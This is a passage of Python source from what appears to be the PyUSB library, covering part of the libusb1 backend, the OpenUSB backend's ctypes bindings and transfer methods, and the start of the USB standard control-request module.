@methodtrace(_logger)
def open_device(self, dev):
return _DeviceHandle(dev)
@methodtrace(_logger)
def close_device(self, dev_handle):
self.lib.libusb_close(dev_handle.handle)
@methodtrace(_logger)
def set_configuration(self, dev_handle, config_value):
_check(self.lib.libusb_set_configuration(dev_handle.handle, config_value))
@methodtrace(_logger)
def get_configuration(self, dev_handle):
config = c_int()
_check(self.lib.libusb_get_configuration(dev_handle.handle, byref(config)))
return config.value
@methodtrace(_logger)
def set_interface_altsetting(self, dev_handle, intf, altsetting):
_check(self.lib.libusb_set_interface_alt_setting(
dev_handle.handle,
intf,
altsetting))
@methodtrace(_logger)
def claim_interface(self, dev_handle, intf):
_check(self.lib.libusb_claim_interface(dev_handle.handle, intf))
@methodtrace(_logger)
def release_interface(self, dev_handle, intf):
_check(self.lib.libusb_release_interface(dev_handle.handle, intf))
@methodtrace(_logger)
def bulk_write(self, dev_handle, ep, intf, data, timeout):
return self.__write(self.lib.libusb_bulk_transfer,
dev_handle,
ep,
intf,
data,
timeout)
@methodtrace(_logger)
def bulk_read(self, dev_handle, ep, intf, buff, timeout):
return self.__read(self.lib.libusb_bulk_transfer,
dev_handle,
ep,
intf,
buff,
timeout)
@methodtrace(_logger)
def intr_write(self, dev_handle, ep, intf, data, timeout):
return self.__write(self.lib.libusb_interrupt_transfer,
dev_handle,
ep,
intf,
data,
timeout)
@methodtrace(_logger)
def intr_read(self, dev_handle, ep, intf, buff, timeout):
return self.__read(self.lib.libusb_interrupt_transfer,
dev_handle,
ep,
intf,
buff,
timeout)
@methodtrace(_logger)
def iso_write(self, dev_handle, ep, intf, data, timeout):
handler = _IsoTransferHandler(dev_handle, ep, data, timeout)
return handler.submit(self.ctx)
@methodtrace(_logger)
def iso_read(self, dev_handle, ep, intf, buff, timeout):
handler = _IsoTransferHandler(dev_handle, ep, buff, timeout)
return handler.submit(self.ctx)
@methodtrace(_logger)
def ctrl_transfer(self,
dev_handle,
bmRequestType,
bRequest,
wValue,
wIndex,
data,
timeout):
addr, length = data.buffer_info()
length *= data.itemsize
ret = _check(self.lib.libusb_control_transfer(
dev_handle.handle,
bmRequestType,
bRequest,
wValue,
wIndex,
cast(addr, POINTER(c_ubyte)),
length,
timeout))
return ret
@methodtrace(_logger)
def clear_halt(self, dev_handle, ep):
_check(self.lib.libusb_clear_halt(dev_handle.handle, ep))
@methodtrace(_logger)
def reset_device(self, dev_handle):
_check(self.lib.libusb_reset_device(dev_handle.handle))
@methodtrace(_logger)
def is_kernel_driver_active(self, dev_handle, intf):
return bool(_check(self.lib.libusb_kernel_driver_active(dev_handle.handle,
intf)))
@methodtrace(_logger)
def detach_kernel_driver(self, dev_handle, intf):
_check(self.lib.libusb_detach_kernel_driver(dev_handle.handle, intf))
@methodtrace(_logger)
def attach_kernel_driver(self, dev_handle, intf):
_check(self.lib.libusb_attach_kernel_driver(dev_handle.handle, intf))
def __write(self, fn, dev_handle, ep, intf, data, timeout):
address, length = data.buffer_info()
length *= data.itemsize
transferred = c_int()
retval = fn(dev_handle.handle,
ep,
cast(address, POINTER(c_ubyte)),
length,
byref(transferred),
timeout)
# do not assume LIBUSB_ERROR_TIMEOUT means no I/O.
if not (transferred.value and retval == LIBUSB_ERROR_TIMEOUT):
_check(retval)
return transferred.value
def __read(self, fn, dev_handle, ep, intf, buff, timeout):
address, length = buff.buffer_info()
length *= buff.itemsize
transferred = c_int()
retval = fn(dev_handle.handle,
ep,
cast(address, POINTER(c_ubyte)),
length,
byref(transferred),
timeout)
# do not assume LIBUSB_ERROR_TIMEOUT means no I/O.
if not (transferred.value and retval == LIBUSB_ERROR_TIMEOUT):
_check(retval)
return transferred.value
def get_backend(find_library=None):
global _lib
try:
if _lib is None:
_lib = _load_library(find_library=find_library)
_setup_prototypes(_lib)
return _LibUSB(_lib)
except usb.libloader.LibraryException:
# exception already logged (if any)
_logger.error('Error loading libusb 1.0 backend', exc_info=False)
return None
except Exception:
_logger.error('Error loading libusb 1.0 backend', exc_info=True)
return None
================================================
FILE: usb/backend/openusb.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
from ctypes import *
import ctypes.util
import usb.util
from usb._debug import methodtrace
import logging
import errno
import sys
import usb._interop as _interop
import usb._objfinalizer as _objfinalizer
import usb.util as util
import usb.libloader
from usb.core import USBError
__author__ = 'Wander Lairson Costa'
__all__ = [
'get_backend'
'OPENUSB_SUCCESS'
'OPENUSB_PLATFORM_FAILURE'
'OPENUSB_NO_RESOURCES'
'OPENUSB_NO_BANDWIDTH'
'OPENUSB_NOT_SUPPORTED'
'OPENUSB_HC_HARDWARE_ERROR'
'OPENUSB_INVALID_PERM'
'OPENUSB_BUSY'
'OPENUSB_BADARG'
'OPENUSB_NOACCESS'
'OPENUSB_PARSE_ERROR'
'OPENUSB_UNKNOWN_DEVICE'
'OPENUSB_INVALID_HANDLE'
'OPENUSB_SYS_FUNC_FAILURE'
'OPENUSB_NULL_LIST'
'OPENUSB_CB_CONTINUE'
'OPENUSB_CB_TERMINATE'
'OPENUSB_IO_STALL'
'OPENUSB_IO_CRC_ERROR'
'OPENUSB_IO_DEVICE_HUNG'
'OPENUSB_IO_REQ_TOO_BIG'
'OPENUSB_IO_BIT_STUFFING'
'OPENUSB_IO_UNEXPECTED_PID'
'OPENUSB_IO_DATA_OVERRUN'
'OPENUSB_IO_DATA_UNDERRUN'
'OPENUSB_IO_BUFFER_OVERRUN'
'OPENUSB_IO_BUFFER_UNDERRUN'
'OPENUSB_IO_PID_CHECK_FAILURE'
'OPENUSB_IO_DATA_TOGGLE_MISMATCH'
'OPENUSB_IO_TIMEOUT'
'OPENUSB_IO_CANCELED'
]
_logger = logging.getLogger('usb.backend.openusb')
OPENUSB_SUCCESS = 0
OPENUSB_PLATFORM_FAILURE = -1
OPENUSB_NO_RESOURCES = -2
OPENUSB_NO_BANDWIDTH = -3
OPENUSB_NOT_SUPPORTED = -4
OPENUSB_HC_HARDWARE_ERROR = -5
OPENUSB_INVALID_PERM = -6
OPENUSB_BUSY = -7
OPENUSB_BADARG = -8
OPENUSB_NOACCESS = -9
OPENUSB_PARSE_ERROR = -10
OPENUSB_UNKNOWN_DEVICE = -11
OPENUSB_INVALID_HANDLE = -12
OPENUSB_SYS_FUNC_FAILURE = -13
OPENUSB_NULL_LIST = -14
OPENUSB_CB_CONTINUE = -20
OPENUSB_CB_TERMINATE = -21
OPENUSB_IO_STALL = -50
OPENUSB_IO_CRC_ERROR = -51
OPENUSB_IO_DEVICE_HUNG = -52
OPENUSB_IO_REQ_TOO_BIG = -53
OPENUSB_IO_BIT_STUFFING = -54
OPENUSB_IO_UNEXPECTED_PID = -55
OPENUSB_IO_DATA_OVERRUN = -56
OPENUSB_IO_DATA_UNDERRUN = -57
OPENUSB_IO_BUFFER_OVERRUN = -58
OPENUSB_IO_BUFFER_UNDERRUN = -59
OPENUSB_IO_PID_CHECK_FAILURE = -60
OPENUSB_IO_DATA_TOGGLE_MISMATCH = -61
OPENUSB_IO_TIMEOUT = -62
OPENUSB_IO_CANCELED = -63
_openusb_errno = {
OPENUSB_SUCCESS:None,
OPENUSB_PLATFORM_FAILURE:None,
OPENUSB_NO_RESOURCES:errno.__dict__.get('ENOMEM', None),
OPENUSB_NO_BANDWIDTH:None,
OPENUSB_NOT_SUPPORTED:errno.__dict__.get('ENOSYS', None),
OPENUSB_HC_HARDWARE_ERROR:errno.__dict__.get('EIO', None),
OPENUSB_INVALID_PERM:errno.__dict__.get('EBADF', None),
OPENUSB_BUSY:errno.__dict__.get('EBUSY', None),
OPENUSB_BADARG:errno.__dict__.get('EINVAL', None),
OPENUSB_NOACCESS:errno.__dict__.get('EACCES', None),
OPENUSB_PARSE_ERROR:None,
OPENUSB_UNKNOWN_DEVICE:errno.__dict__.get('ENODEV', None),
OPENUSB_INVALID_HANDLE:errno.__dict__.get('EINVAL', None),
OPENUSB_SYS_FUNC_FAILURE:None,
OPENUSB_NULL_LIST:None,
OPENUSB_CB_CONTINUE:None,
OPENUSB_CB_TERMINATE:None,
OPENUSB_IO_STALL:errno.__dict__.get('EIO', None),
OPENUSB_IO_CRC_ERROR:errno.__dict__.get('EIO', None),
OPENUSB_IO_DEVICE_HUNG:errno.__dict__.get('EIO', None),
OPENUSB_IO_REQ_TOO_BIG:errno.__dict__.get('E2BIG', None),
OPENUSB_IO_BIT_STUFFING:None,
OPENUSB_IO_UNEXPECTED_PID:errno.__dict__.get('ESRCH', None),
OPENUSB_IO_DATA_OVERRUN:errno.__dict__.get('EOVERFLOW', None),
OPENUSB_IO_DATA_UNDERRUN:None,
OPENUSB_IO_BUFFER_OVERRUN:errno.__dict__.get('EOVERFLOW', None),
OPENUSB_IO_BUFFER_UNDERRUN:None,
OPENUSB_IO_PID_CHECK_FAILURE:None,
OPENUSB_IO_DATA_TOGGLE_MISMATCH:None,
OPENUSB_IO_TIMEOUT:errno.__dict__.get('ETIMEDOUT', None),
OPENUSB_IO_CANCELED:errno.__dict__.get('EINTR', None)
}
class _usb_endpoint_desc(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bEndpointAddress', c_uint8),
('bmAttributes', c_uint8),
('wMaxPacketSize', c_uint16),
('bInterval', c_uint8),
('bRefresh', c_uint8),
('bSynchAddress', c_uint8)]
class _usb_interface_desc(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bInterfaceNumber', c_uint8),
('bAlternateSetting', c_uint8),
('bNumEndpoints', c_uint8),
('bInterfaceClass', c_uint8),
('bInterfaceSubClass', c_uint8),
('bInterfaceProtocol', c_uint8),
('iInterface', c_uint8)]
class _usb_config_desc(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('wTotalLength', c_uint16),
('bNumInterfaces', c_uint8),
('bConfigurationValue', c_uint8),
('iConfiguration', c_uint8),
('bmAttributes', c_uint8),
('bMaxPower', c_uint8)]
class _usb_device_desc(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bcdUSB', c_uint16),
('bDeviceClass', c_uint8),
('bDeviceSubClass', c_uint8),
('bDeviceProtocol', c_uint8),
('bMaxPacketSize0', c_uint8),
('idVendor', c_uint16),
('idProduct', c_uint16),
('bcdDevice', c_uint16),
('iManufacturer', c_uint8),
('iProduct', c_uint8),
('iSerialNumber', c_uint8),
('bNumConfigurations', c_uint8)]
class _openusb_request_result(Structure):
_fields_ = [('status', c_int32),
('transferred_bytes', c_uint32)]
class _openusb_ctrl_request(Structure):
def __init__(self):
super(_openusb_ctrl_request, self).__init__()
self.setup.bmRequestType = 0
self.setup.bRequest = 0
self.setup.wValue = 0
self.setup.wIndex = 0
self.payload = None
self.length = 0
self.timeout = 0
self.flags = 0
self.result.status = 0
self.result.transferred_bytes = 0
self.next = None
class _openusb_ctrl_setup(Structure):
_fields_ = [('bmRequestType', c_uint8),
('bRequest', c_uint8),
('wValue', c_uint16),
('wIndex', c_uint16)]
_fields_ = [('setup', _openusb_ctrl_setup),
('payload', POINTER(c_uint8)),
('length', c_uint32),
('timeout', c_uint32),
('flags', c_uint32),
('result', _openusb_request_result),
('next', c_void_p)]
class _openusb_intr_request(Structure):
_fields_ = [('interval', c_uint16),
('payload', POINTER(c_uint8)),
('length', c_uint32),
('timeout', c_uint32),
('flags', c_uint32),
('result', _openusb_request_result),
('next', c_void_p)]
class _openusb_bulk_request(Structure):
_fields_ = [('payload', POINTER(c_uint8)),
('length', c_uint32),
('timeout', c_uint32),
('flags', c_uint32),
('result', _openusb_request_result),
('next', c_void_p)]
class _openusb_isoc_pkts(Structure):
class _openusb_isoc_packet(Structure):
_fields_ = [('payload', POINTER(c_uint8)),
('length', c_uint32)]
_fields_ = [('num_packets', c_uint32),
('packets', POINTER(_openusb_isoc_packet))]
class _openusb_isoc_request(Structure):
_fields_ = [('start_frame', c_uint32),
('flags', c_uint32),
('pkts', _openusb_isoc_pkts),
('isoc_results', POINTER(_openusb_request_result)),
('isoc_status', c_int32),
('next', c_void_p)]
_openusb_devid = c_uint64
_openusb_busid = c_uint64
_openusb_handle = c_uint64
_openusb_dev_handle = c_uint64
_lib = None
_ctx = None
def _load_library(find_library=None):
# FIXME: cygwin name is "openusb"?
# (that's what the original _load_library() function
# would have searched for)
return usb.libloader.load_locate_library(
('openusb',), 'openusb', "OpenUSB library", find_library=find_library
)
def _setup_prototypes(lib):
# int32_t openusb_init(uint32_t flags , openusb_handle_t *handle);
lib.openusb_init.argtypes = [c_uint32, POINTER(_openusb_handle)]
lib.openusb_init.restype = c_int32
# void openusb_fini(openusb_handle_t handle );
lib.openusb_fini.argtypes = [_openusb_handle]
# uint32_t openusb_get_busid_list(openusb_handle_t handle,
# openusb_busid_t **busids,
# uint32_t *num_busids);
lib.openusb_get_busid_list.argtypes = [
_openusb_handle,
POINTER(POINTER(_openusb_busid)),
POINTER(c_uint32)
]
# void openusb_free_busid_list(openusb_busid_t * busids);
lib.openusb_free_busid_list.argtypes = [POINTER(_openusb_busid)]
# uint32_t openusb_get_devids_by_bus(openusb_handle_t handle,
# openusb_busid_t busid,
# openusb_devid_t **devids,
# uint32_t *num_devids);
lib.openusb_get_devids_by_bus.argtypes = [
_openusb_handle,
_openusb_busid,
POINTER(POINTER(_openusb_devid)),
POINTER(c_uint32)
]
lib.openusb_get_devids_by_bus.restype = c_int32
# void openusb_free_devid_list(openusb_devid_t * devids);
lib.openusb_free_devid_list.argtypes = [POINTER(_openusb_devid)]
# int32_t openusb_open_device(openusb_handle_t handle,
# openusb_devid_t devid ,
# uint32_t flags,
# openusb_dev_handle_t *dev);
lib.openusb_open_device.argtypes = [
_openusb_handle,
_openusb_devid,
c_uint32,
POINTER(_openusb_dev_handle)
]
lib.openusb_open_device.restype = c_int32
# int32_t openusb_close_device(openusb_dev_handle_t dev);
lib.openusb_close_device.argtypes = [_openusb_dev_handle]
lib.openusb_close_device.restype = c_int32
# int32_t openusb_set_configuration(openusb_dev_handle_t dev,
# uint8_t cfg);
lib.openusb_set_configuration.argtypes = [_openusb_dev_handle, c_uint8]
lib.openusb_set_configuration.restype = c_int32
# int32_t openusb_get_configuration(openusb_dev_handle_t dev,
# uint8_t *cfg);
lib.openusb_get_configuration.argtypes = [_openusb_dev_handle, POINTER(c_uint8)]
lib.openusb_get_configuration.restype = c_int32
# int32_t openusb_claim_interface(openusb_dev_handle_t dev,
# uint8_t ifc,
# openusb_init_flag_t flags);
lib.openusb_claim_interface.argtypes = [
_openusb_dev_handle,
c_uint8,
c_int
]
lib.openusb_claim_interface.restype = c_int32
# int32_t openusb_release_interface(openusb_dev_handle_t dev,
# uint8_t ifc);
lib.openusb_release_interface.argtypes = [
_openusb_dev_handle,
c_uint8
]
lib.openusb_release_interface.restype = c_int32
# int32_topenusb_set_altsetting(openusb_dev_handle_t dev,
# uint8_t ifc,
# uint8_t alt);
lib.openusb_set_altsetting.argtypes = [
_openusb_dev_handle,
c_uint8,
c_uint8
]
lib.openusb_set_altsetting.restype = c_int32
# int32_t openusb_reset(openusb_dev_handle_t dev);
lib.openusb_reset.argtypes = [_openusb_dev_handle]
lib.openusb_reset.restype = c_int32
# int32_t openusb_parse_device_desc(openusb_handle_t handle,
# openusb_devid_t devid,
# uint8_t *buffer,
# uint16_t buflen,
# usb_device_desc_t *devdesc);
lib.openusb_parse_device_desc.argtypes = [
_openusb_handle,
_openusb_devid,
POINTER(c_uint8),
c_uint16,
POINTER(_usb_device_desc)
]
lib.openusb_parse_device_desc.restype = c_int32
# int32_t openusb_parse_config_desc(openusb_handle_t handle,
# openusb_devid_t devid,
# uint8_t *buffer,
# uint16_t buflen,
# uint8_t cfgidx,
# usb_config_desc_t *cfgdesc);
lib.openusb_parse_config_desc.argtypes = [
_openusb_handle,
_openusb_devid,
POINTER(c_uint8),
c_uint16,
c_uint8,
POINTER(_usb_config_desc)
]
lib.openusb_parse_config_desc.restype = c_int32
# int32_t openusb_parse_interface_desc(openusb_handle_t handle,
# openusb_devid_t devid,
# uint8_t *buffer,
# uint16_t buflen,
# uint8_t cfgidx,
# uint8_t ifcidx,
# uint8_t alt,
# usb_interface_desc_t *ifcdesc);
lib.openusb_parse_interface_desc.argtypes = [
_openusb_handle,
_openusb_devid,
POINTER(c_uint8),
c_uint16,
c_uint8,
c_uint8,
c_uint8,
POINTER(_usb_interface_desc)
]
lib.openusb_parse_interface_desc.restype = c_int32
# int32_t openusb_parse_endpoint_desc(openusb_handle_t handle,
# openusb_devid_t devid,
# uint8_t *buffer,
# uint16_t buflen,
# uint8_t cfgidx,
# uint8_t ifcidx,
# uint8_t alt,
# uint8_t eptidx,
# usb_endpoint_desc_t *eptdesc);
lib.openusb_parse_endpoint_desc.argtypes = [
_openusb_handle,
_openusb_devid,
POINTER(c_uint8),
c_uint16,
c_uint8,
c_uint8,
c_uint8,
c_uint8,
POINTER(_usb_endpoint_desc)
]
lib.openusb_parse_interface_desc.restype = c_int32
# const char *openusb_strerror(int32_t error );
lib.openusb_strerror.argtypes = [c_int32]
lib.openusb_strerror.restype = c_char_p
# int32_t openusb_ctrl_xfer(openusb_dev_handle_t dev,
# uint8_t ifc,
# uint8_t ept,
# openusb_ctrl_request_t *ctrl);
lib.openusb_ctrl_xfer.argtypes = [
_openusb_dev_handle,
c_uint8,
c_uint8,
POINTER(_openusb_ctrl_request)
]
lib.openusb_ctrl_xfer.restype = c_int32
# int32_t openusb_intr_xfer(openusb_dev_handle_t dev,
# uint8_t ifc,
# uint8_t ept,
# openusb_intr_request_t *intr);
lib.openusb_intr_xfer.argtypes = [
_openusb_dev_handle,
c_uint8,
c_uint8,
POINTER(_openusb_intr_request)
]
lib.openusb_bulk_xfer.restype = c_int32
# int32_t openusb_bulk_xfer(openusb_dev_handle_t dev,
# uint8_t ifc,
# uint8_t ept,
# openusb_bulk_request_t *bulk);
lib.openusb_bulk_xfer.argtypes = [
_openusb_dev_handle,
c_uint8,
c_uint8,
POINTER(_openusb_bulk_request)
]
lib.openusb_bulk_xfer.restype = c_int32
# int32_t openusb_isoc_xfer(openusb_dev_handle_t dev,
# uint8_t ifc,
# uint8_t ept,
# openusb_isoc_request_t *isoc);
lib.openusb_isoc_xfer.argtypes = [
_openusb_dev_handle,
c_uint8,
c_uint8,
POINTER(_openusb_isoc_request)
]
lib.openusb_isoc_xfer.restype = c_int32
def _check(ret):
if hasattr(ret, 'value'):
ret = ret.value
if ret != 0:
raise USBError(_lib.openusb_strerror(ret), ret, _openusb_errno[ret])
return ret
class _Context(_objfinalizer.AutoFinalizedObject):
def __init__(self):
self.handle = _openusb_handle()
_check(_lib.openusb_init(0, byref(self.handle)))
def _finalize_object(self):
_lib.openusb_fini(self.handle)
class _BusIterator(_objfinalizer.AutoFinalizedObject):
def __init__(self):
self.buslist = POINTER(_openusb_busid)()
num_busids = c_uint32()
_check(_lib.openusb_get_busid_list(_ctx.handle,
byref(self.buslist),
byref(num_busids)))
self.num_busids = num_busids.value
def __iter__(self):
for i in range(self.num_busids):
yield self.buslist[i]
def _finalize_object(self):
_lib.openusb_free_busid_list(self.buslist)
class _DevIterator(_objfinalizer.AutoFinalizedObject):
def __init__(self, busid):
self.devlist = POINTER(_openusb_devid)()
num_devids = c_uint32()
_check(_lib.openusb_get_devids_by_bus(_ctx.handle,
busid,
byref(self.devlist),
byref(num_devids)))
self.num_devids = num_devids.value
def __iter__(self):
for i in range(self.num_devids):
yield self.devlist[i]
def _finalize_object(self):
_lib.openusb_free_devid_list(self.devlist)
class _OpenUSB(usb.backend.IBackend):
@methodtrace(_logger)
def enumerate_devices(self):
for bus in _BusIterator():
for devid in _DevIterator(bus):
yield devid
@methodtrace(_logger)
def get_device_descriptor(self, dev):
desc = _usb_device_desc()
_check(_lib.openusb_parse_device_desc(_ctx.handle,
dev,
None,
0,
byref(desc)))
desc.bus = None
desc.address = None
desc.port_number = None
desc.port_numbers = None
desc.speed = None
return desc
@methodtrace(_logger)
def get_configuration_descriptor(self, dev, config):
desc = _usb_config_desc()
_check(_lib.openusb_parse_config_desc(_ctx.handle,
dev,
None,
0,
config,
byref(desc)))
desc.extra_descriptors = None
return desc
@methodtrace(_logger)
def get_interface_descriptor(self, dev, intf, alt, config):
desc = _usb_interface_desc()
_check(_lib.openusb_parse_interface_desc(_ctx.handle,
dev,
None,
0,
config,
intf,
alt,
byref(desc)))
desc.extra_descriptors = None
return desc
@methodtrace(_logger)
def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
desc = _usb_endpoint_desc()
_check(_lib.openusb_parse_endpoint_desc(_ctx.handle,
dev,
None,
0,
config,
intf,
alt,
ep,
byref(desc)))
desc.extra_descriptors = None
return desc
@methodtrace(_logger)
def open_device(self, dev):
handle = _openusb_dev_handle()
_check(_lib.openusb_open_device(_ctx.handle, dev, 0, byref(handle)))
return handle
@methodtrace(_logger)
def close_device(self, dev_handle):
_lib.openusb_close_device(dev_handle)
@methodtrace(_logger)
def set_configuration(self, dev_handle, config_value):
_check(_lib.openusb_set_configuration(dev_handle, config_value))
@methodtrace(_logger)
def get_configuration(self, dev_handle):
config = c_uint8()
_check(_lib.openusb_get_configuration(dev_handle, byref(config)))
return config.value
@methodtrace(_logger)
def set_interface_altsetting(self, dev_handle, intf, altsetting):
_check(_lib.openusb_set_altsetting(dev_handle, intf, altsetting))
@methodtrace(_logger)
def claim_interface(self, dev_handle, intf):
_check(_lib.openusb_claim_interface(dev_handle, intf, 0))
@methodtrace(_logger)
def release_interface(self, dev_handle, intf):
_lib.openusb_release_interface(dev_handle, intf)
@methodtrace(_logger)
def bulk_write(self, dev_handle, ep, intf, data, timeout):
request = _openusb_bulk_request()
memset(byref(request), 0, sizeof(request))
payload, request.length = data.buffer_info()
request.payload = cast(payload, POINTER(c_uint8))
request.timeout = timeout
_check(_lib.openusb_bulk_xfer(dev_handle, intf, ep, byref(request)))
return request.result.transferred_bytes
@methodtrace(_logger)
def bulk_read(self, dev_handle, ep, intf, buff, timeout):
request = _openusb_bulk_request()
memset(byref(request), 0, sizeof(request))
payload, request.length = buff.buffer_info()
request.payload = cast(payload, POINTER(c_uint8))
request.timeout = timeout
_check(_lib.openusb_bulk_xfer(dev_handle, intf, ep, byref(request)))
return request.result.transferred_bytes
@methodtrace(_logger)
def intr_write(self, dev_handle, ep, intf, data, timeout):
request = _openusb_intr_request()
memset(byref(request), 0, sizeof(request))
payload, request.length = data.buffer_info()
request.payload = cast(payload, POINTER(c_uint8))
request.timeout = timeout
_check(_lib.openusb_intr_xfer(dev_handle, intf, ep, byref(request)))
return request.result.transferred_bytes
@methodtrace(_logger)
def intr_read(self, dev_handle, ep, intf, buff, timeout):
request = _openusb_intr_request()
memset(byref(request), 0, sizeof(request))
payload, request.length = buff.buffer_info()
request.payload = cast(payload, POINTER(c_uint8))
request.timeout = timeout
_check(_lib.openusb_intr_xfer(dev_handle, intf, ep, byref(request)))
return request.result.transferred_bytes
# TODO: implement isochronous
# @methodtrace(_logger)
# def iso_write(self, dev_handle, ep, intf, data, timeout):
# pass
# @methodtrace(_logger)
# def iso_read(self, dev_handle, ep, intf, size, timeout):
# pass
@methodtrace(_logger)
def ctrl_transfer(self,
dev_handle,
bmRequestType,
bRequest,
wValue,
wIndex,
data,
timeout):
request = _openusb_ctrl_request()
request.setup.bmRequestType = bmRequestType
request.setup.bRequest = bRequest
request.setup.wValue
request.setup.wIndex
request.timeout = timeout
direction = usb.util.ctrl_direction(bmRequestType)
payload, request.length = data.buffer_info()
request.length *= data.itemsize
request.payload = cast(payload, POINTER(c_uint8))
_check(_lib.openusb_ctrl_xfer(dev_handle, 0, 0, byref(request)))
return request.result.transferred_bytes
@methodtrace(_logger)
def reset_device(self, dev_handle):
_check(_lib.openusb_reset(dev_handle))
@methodtrace(_logger)
def clear_halt(self, dev_handle, ep):
bmRequestType = util.build_request_type(
util.CTRL_OUT,
util.CTRL_TYPE_STANDARD,
util.CTRL_RECIPIENT_ENDPOINT)
self.ctrl_transfer(
dev_handle,
bmRequestType,
0x03,
0,
ep,
_interop.as_array(),
1000)
def get_backend(find_library=None):
try:
global _lib, _ctx
if _lib is None:
_lib = _load_library(find_library)
_setup_prototypes(_lib)
_ctx = _Context()
return _OpenUSB()
except usb.libloader.LibraryException:
# exception already logged (if any)
_logger.error('Error loading OpenUSB backend', exc_info=False)
return None
except Exception:
_logger.error('Error loading OpenUSB backend', exc_info=True)
return None
================================================
FILE: usb/control.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
r"""usb.control - USB standard control requests
This module exports:
get_status - get recipeint status
clear_feature - clear a recipient feature
set_feature - set a recipient feature
get_descriptor - get a device descriptor
set_descriptor - set a device descriptor
get_configuration - get a device configuration
set_configuration - set a device configuration
get_interface - get a device interface
set_interface - set a device interface
"""
__author__ = 'Wander Lairson Costa'
__all__ = ['get_status',
'clear_feature',
'set_feature',
'get_descriptor',
'set_descriptor',
'get_configuration',
'set_configuration',
'get_interface',
'set_interface',
'ENDPOINT_HALT',
'FUNCTION_SUSPEND',
'DEVICE_REMOTE_WAKEUP',
'U1_ENABLE',
'U2_ENABLE',
'LTM_ENABLE']
import usb.util as util
import usb.core as core
def _parse_recipient(recipient, direction):
if recipient is None:
r = util.CTRL_RECIPIENT_DEVICE
wIndex = 0
elif isinstance(recipient, core.Interface):
r = util.CTRL_RECIPIENT_INTERFACE
wIndex = recipient.bInterfaceNumber
elif isinstance(recipient, core.Endpoint):
r = util.CTRL_RECIPIENT_ENDPOINT
wIndex = recipient.bEndpointAddress
else:
raise ValueError('Invalid recipient.')
bmRequestType = util.build_request_type(
direction,
util.CTRL_TYPE_STANDARD,
r
)
return (bmRequestType, wIndex)
# standard feature selectors from USB 2.0/3.0
ENDPOINT_HALT = 0
FUNCTION_SUSPEND = 0
DEVICE_REMOTE_WAKEUP = 1
U1_ENABLE = 48
U2_ENABLE = 49
LTM_ENABLE = 50
def get_status(dev, recipient = None):
r"""Return the status for the specified recipient.
dev is the Device object to which the request will be
sent to.
The recipient can be None (on which the status will be queried
from the device), an Interface or Endpoint descriptors.
The status value is returned as an integer with the lower
word being the two bytes status value.
"""
bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_IN)
ret = dev.ctrl_transfer(bmRequestType = bmRequestType,
bRequest = 0x00,
wIndex = wIndex,
data_or_wLength = 2)
return ret[0] | (ret[1] << 8)
def clear_feature(dev, feature, recipient = None):
r"""Clear/disable a specific feature.
dev is the Device object to which the request will be
sent to.
feature is the feature you want to disable.
The recipient can be None (on which the status will be queried
from the device), an Interface or Endpoint descriptors.
"""
if feature == ENDPOINT_HALT:
dev.clear_halt(recipient)
else:
bmRequestType, wIndex = _parse_recipient(recipient, util.CTRL_OUT)
dev.ctrl_transfer(bmRequestType = bmRequestType,
bRequest = 0x01,
wIndex = wIndex,
wValue = feature)
def set_feature(dev, feature, recipient = None):
r"""Set/enable a specific feature.
dev is the Device object to which the request will be
sent to.
feature is the feature you want to enable.
